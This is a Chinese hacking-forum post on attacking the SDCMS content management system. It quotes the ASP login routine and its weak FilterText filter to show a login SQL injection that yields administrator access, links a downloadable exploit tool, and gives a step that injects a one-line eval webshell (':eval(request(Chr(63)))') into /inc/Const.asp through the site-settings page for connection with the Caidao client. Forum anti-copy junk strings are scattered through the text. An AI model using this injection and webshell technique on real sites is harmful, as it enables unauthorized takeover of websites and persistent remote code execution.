SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
1 S( ~" a8 Z) v/ j" A# e2 \漏洞文件：后台目录/index.asp
+ U/ I' h3 h+ H' ^0 {
Sub Check
    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
' R5 e  j: F/ P) z- ]/ `    getcode=Session("SDCMSCode")
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
" `- m, h  v5 z' N* Z    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
$ P& ?( |( j; X& L% F* X    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
! G% C3 r) V) H    IF username="" or password="" Then
        Echo "用户名或密码不能为空"ied
    Else
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
5 c0 s  \' C% s- F, n! k* b        Else
  m0 w$ B" k" \. i            Add_Cookies "sdcms_id",Rs(0)
0 m) E( D. b& W8 Y: L+ Y            Add_Cookies "sdcms_name",username
            Add_Cookies "sdcms_pwd",Rs(2)
            Add_Cookies "sdcms_admin",Rs(3)
9 u9 J: C0 Z& K1 _+ z$ v            Add_Cookies "sdcms_alllever",Rs(4)
5 k4 v2 t: n4 X' o4 @9 s            Add_Cookies "sdcms_infolever",Rs(5)
# ?5 Q) ]1 w- W$ F- m            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
            '自动删除30天前的Log记录
0 ^* D/ e/ H- P0 g4 g2 |! Y            IF Sdcms_DataType Then
, ]% V  A% H4 v, i3 B* B                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
: g/ g2 u1 \# W( P4 ^            Else
( j2 B; A& f; T/ Z; l: n7 Z) E7 X                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
! M7 O! h3 }9 _% N" }            End IF
            Go("sdcms_index.asp")
        End IF
        Rs.Close
        Set Rs=Nothing
    End IF
End Sub

’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
* Z+ o7 p/ S( H0 d* r3 R- e
4 E" \% Z. g4 Q. ]Function FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
    t0=Trim(t0)
    Select Case t1
        Case "1"
! n; G" l+ |) F# ~            t0=Replace(t0,Chr(32),"")
( s3 f0 h9 R9 Y4 M) p7 Y; S3 b0 \" E- g            t0=Replace(t0,Chr(13),"")
1 [! u" t. v3 ~- I  ]# I            t0=Replace(t0,Chr(10)&Chr(10),"")
( |) d- i% R, B; t! w, F            t0=Replace(t0,Chr(10),"")
        Case "2"
            t0=Replace(t0,Chr(8),"")'回格
8 S7 o) i% }3 a; S4 s# k2 A5 ]            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
3 P3 R7 w, \" y1 H  [: Q            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
' w1 e/ |. n) o/ E! ?" t            t0=Replace(t0,Chr(22),"")
1 M6 o0 V8 _$ y, P            t0=Replace(t0,Chr(32),"")'空格 SPACE
            t0=Replace(t0,Chr(33),"")'!
            t0=Replace(t0,Chr(34),"")'"
            t0=Replace(t0,Chr(35),"")'#
, v3 \6 t  z9 ^: V; a            t0=Replace(t0,Chr(36),"")'$
1 W$ B& J/ O) o3 `, J            t0=Replace(t0,Chr(37),"")'%
            t0=Replace(t0,Chr(38),"")'&
            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
' y! |" ?" Z( D& S7 Z' j7 T            t0=Replace(t0,Chr(41),"")')
! }0 T& B! I) U5 c. Q" m5 H            t0=Replace(t0,Chr(42),"")'*
5 [5 v  n1 j% w' j2 _% I3 o" @            t0=Replace(t0,Chr(43),"")'+
% y- m( v  t: r) z            t0=Replace(t0,Chr(44),"")',
/ T3 Z% E  J+ T) \1 }5 M            t0=Replace(t0,Chr(45),"")'-
+ v0 @5 ^. w) L) d# Z9 g' L; y8 C            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
$ G8 j0 Y' Y& i# B, M1 `' t            t0=Replace(t0,Chr(58),"")':
9 j0 L& ?! m) j% [/ h            t0=Replace(t0,Chr(59),"")';
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
            t0=Replace(t0,Chr(63),"")'?
1 I; _, V2 f) M0 _# ~            t0=Replace(t0,Chr(64),"")'@
( R% r8 M4 U8 l9 [( |# b! [            t0=Replace(t0,Chr(91),"")'\
4 P6 h  O  d! f- b, X            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
7 ?: q6 R$ l* H* Y            t0=Replace(t0,Chr(94),"")'^
            t0=Replace(t0,Chr(95),"")'_
            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
% S% r: s9 y1 N1 a            t0=Replace(t0,Chr(124),"")'|
            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
    Case Else
1 v* |5 H- a. }! w& |8 U        t0=Replace(t0, "&", "&")
        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
/ d# h3 n6 R' M: u  n! `! z+ n        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
- j) M: w5 {0 _3 P    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
( K% f! q4 m9 e        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
0 F9 M+ Y: u8 I4 S( Z8 X    FilterText=t0
End Function

看到没。直接参数是1 只过滤
1 J' D3 ~$ Y2 b% j( X' f7 {                        t0=Replace(t0,Chr(32)," ")
* Y7 B/ R+ r  L4 H* `. x                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
# b4 r% W( {, F+ e) q" h0 W. N")
                        t0=Replace(t0,Chr(10),"
( C  ?4 ~& D3 s")
6 p7 S8 ?( n8 n" k% {漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
5 I% x; x# k6 `* ~5 k
# _" }& e& J4 {! j/ X8 G测试:
0 |+ W2 M8 T, o2 m. ~, n3 e! M
  K* I, x: I# [! H' [9 J
6 r0 O$ s" k. q: H' ]现在输入工具上验证码,然后点OK


% f! Q) ^: c# f8 Z看到我们直接进入后台管理界面了,呵呵!



这样直接进入后台了。。。。



SDCMS提权:

( i4 \, W/ V8 M( @5 _方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?

, t  X- i" h( U8 y

OK,现在用菜刀连接下!
3 S5 @) _8 ^0 H- k


" r: ?  k1 k, I- Q

. e  \$ H) H' ?; w  G. m